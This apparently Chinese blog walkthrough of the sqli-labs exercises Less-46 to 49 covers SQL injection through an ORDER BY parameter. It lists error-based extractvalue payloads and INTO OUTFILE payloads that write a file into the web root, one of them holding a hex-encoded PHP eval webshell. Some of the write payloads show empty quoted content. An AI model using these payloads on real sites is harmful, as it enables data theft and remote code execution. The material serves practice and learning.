首页 > 数据库 >less46-49_数据库写入

less46-49_数据库写入

时间:2023-01-19 16:57:40浏览次数:31  
标签:terminated WWW less46 lines into 49 写入 outfile --+

less-46

order by error numeric

这里可以看出是要输入一个sort参数进行排序,那就是输入的参数就在order by后面,order by后面不能跟union语句了。
那可以使用limit,into outfile等语句,还可以跟数字等。

这里直接用报错注入
payload
?sort=1 and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
img

或者可以使用往数据库写入一句话木马拿webshell,不过这样条件限制比较多

使用into outfile和lines terminated by导出文件
·?sort=1 into outfile 'E:\phpStudy_64\phpstudy_pro\WWW\1.php'lines terminated by 0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e·
后面的十六进制表示的是直接传的话会被过滤.

lines terminated by
lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。
?id=1' into outfile 'E:\phpStudy_64\phpstudy_pro\WWW\1.php' lines terminated by ''--+
img

lines starting by 写入
lines starting by 可以理解为 以每行开始的位置添加 xx 内容。
?id=1' into outfile 'E:\phpStudy_64\phpstudy_pro\WWW\1.php' lines starting by ''--+
img

fields terminated by 写入
可以理解为 以每个字段的位置添加 xx 内容。
?id=1' into outfile 'E:\phpStudy_64\phpstudy_pro\WWW\1.php' fields terminated by ''--+
img

COLUMNS terminated by 写入
可以理解为 以每个字段的位置添加 xx 内容。
?id=1' into outfile 'E:\phpStudy_64\phpstudy_pro\WWW\1.php' COLUMNS terminated by ''--+
img

less-47

这题和上一题一样,多了一个单引号而已。
payload
?sort=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
img

less-48

这关没有开启报错,无法用报错注入。使用一句话马就行了

less-49

同上

标签:terminated,WWW,less46,lines,into,49,写入,outfile,--+
From: https://www.cnblogs.com/qianyuzz/p/17061752.html

相关文章